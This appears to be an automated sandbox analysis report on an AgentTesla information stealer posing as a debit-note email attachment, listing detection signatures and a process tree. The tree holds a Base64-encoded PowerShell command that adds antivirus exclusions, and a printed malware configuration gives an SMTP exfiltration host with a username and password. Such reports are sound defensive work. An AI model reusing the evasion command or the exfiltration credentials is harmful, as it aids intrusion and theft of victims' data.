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Windows
Analysis Report
Debit note -MSR_2024_0024- and Attachments.com.exe
Overview
General Information
Detection
AgentTesla
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Yara detected AgentTesla
Yara detected AntiVM3
AI detected suspicious sample
Drops VBS files to the startup folder
Encrypted powershell cmdline option found
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Machine Learning detection for sample
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Mail credentials (via file / registry access)
Uses ipconfig to lookup or modify the Windows network settings
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Yara detected Costura Assembly Loader
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Outbound SMTP Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses SMTP (mail sending)
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- Debit note -MSR_2024_0024- and Attachments.com.exe (PID: 6972 cmdline:
"C:\Users\ user\Deskt op\Debit n ote -MSR_2 024_0024- and Attach ments.com. exe" MD5: 58A83CBFBD24495D3427075426C7BB6C) - cmd.exe (PID: 3940 cmdline:
"C:\Window s\System32 \cmd.exe" /c ipconfi g /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 2872 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 3384 cmdline:
ipconfig / release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB) - powershell.exe (PID: 2828 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -enc QQBkA GQALQBNAHA AUAByAGUAZ gBlAHIAZQB uAGMAZQAgA C0ARQB4AGM AbAB1AHMAa QBvAG4AUAB hAHQAaAAgA EMAOgBcAFU AcwBlAHIAc wBcAGoAbwB uAGUAcwBcA EQAZQBzAGs AdABvAHAAX ABEAGUAYgB pAHQAIABuA G8AdABlACA ALQBNAFMAU gBfADIAMAA yADQAXwAwA DAAMgA0AC0 AIABhAG4AZ AAgAEEAdAB 0AGEAYwBoA G0AZQBuAHQ AcwAuAGMAb wBtAC4AZQB 4AGUAOwAgA EEAZABkAC0 ATQBwAFAAc gBlAGYAZQB yAGUAbgBjA GUAIAAtAEU AeABjAGwAd QBzAGkAbwB uAFAAcgBvA GMAZQBzAHM AIABDADoAX ABVAHMAZQB yAHMAXABqA G8AbgBlAHM AXABEAGUAc wBrAHQAbwB wAFwARABlA GIAaQB0ACA AbgBvAHQAZ QAgAC0ATQB TAFIAXwAyA DAAMgA0AF8 AMAAwADIAN AAtACAAYQB uAGQAIABBA HQAdABhAGM AaABtAGUAb gB0AHMALgB jAG8AbQAuA GUAeABlADs AQQBkAGQAL QBNAHAAUAB yAGUAZgBlA HIAZQBuAGM AZQAgAC0AR QB4AGMAbAB 1AHMAaQBvA G4AUABhAHQ AaAAgAEMAO gBcAFUAcwB lAHIAcwBcA GoAbwBuAGU AcwBcAEEAc ABwAEQAYQB 0AGEAXABSA G8AYQBtAGk AbgBnAFwAY QBwAHAALgB lAHgAZQA7A CAAQQBkAGQ ALQBNAHAAU AByAGUAZgB lAHIAZQBuA GMAZQAgAC0 ARQB4AGMAb AB1AHMAaQB vAG4AUAByA G8AYwBlAHM AcwAgAEMAO gBcAFUAcwB lAHIAcwBcA GoAbwBuAGU AcwBcAEEAc ABwAEQAYQB 0AGEAXABSA G8AYQBtAGk AbgBnAFwAY QBwAHAALgB lAHgAZQA= MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 5288 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WmiPrvSE.exe (PID: 3624 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) - InstallUtil.exe (PID: 5308 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Ins tallUtil.e xe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57) - cmd.exe (PID: 2308 cmdline:
"C:\Window s\System32 \cmd.exe" /c ipconfi g /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 5684 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 5408 cmdline:
ipconfig / renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
- wscript.exe (PID: 2196 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\Micro soft\Windo ws\Start M enu\Progra ms\Startup \app.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) - app.exe (PID: 5844 cmdline:
"C:\Users\ user\AppDa ta\Roaming \app.exe" MD5: 58A83CBFBD24495D3427075426C7BB6C) - cmd.exe (PID: 5356 cmdline:
"C:\Window s\System32 \cmd.exe" /c ipconfi g /release MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 1196 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 2232 cmdline:
ipconfig / release MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB) - InstallUtil.exe (PID: 7116 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Ins tallUtil.e xe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57) - cmd.exe (PID: 4092 cmdline:
"C:\Window s\System32 \cmd.exe" /c ipconfi g /renew MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 6340 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - ipconfig.exe (PID: 7132 cmdline:
ipconfig / renew MD5: 3A3B9A5E00EF6A3F83BF300E2B6B67BB)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Agent Tesla, AgentTesla | A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel. |
{"Exfil Mode": "SMTP", "Port": "25", "Host": "mail.iaa-airferight.com", "Username": "admin@iaa-airferight.com", "Password": "manlikeyou88"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
Click to see the 24 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CosturaAssemblyLoader | Yara detected Costura Assembly Loader | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_AgentTesla_1 | Yara detected AgentTesla | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
Click to see the 6 entries |
System Summary |
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Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Jonathan Cheong, oscd.community: |
Source: | Author: Florian Roth (Nextron Systems): |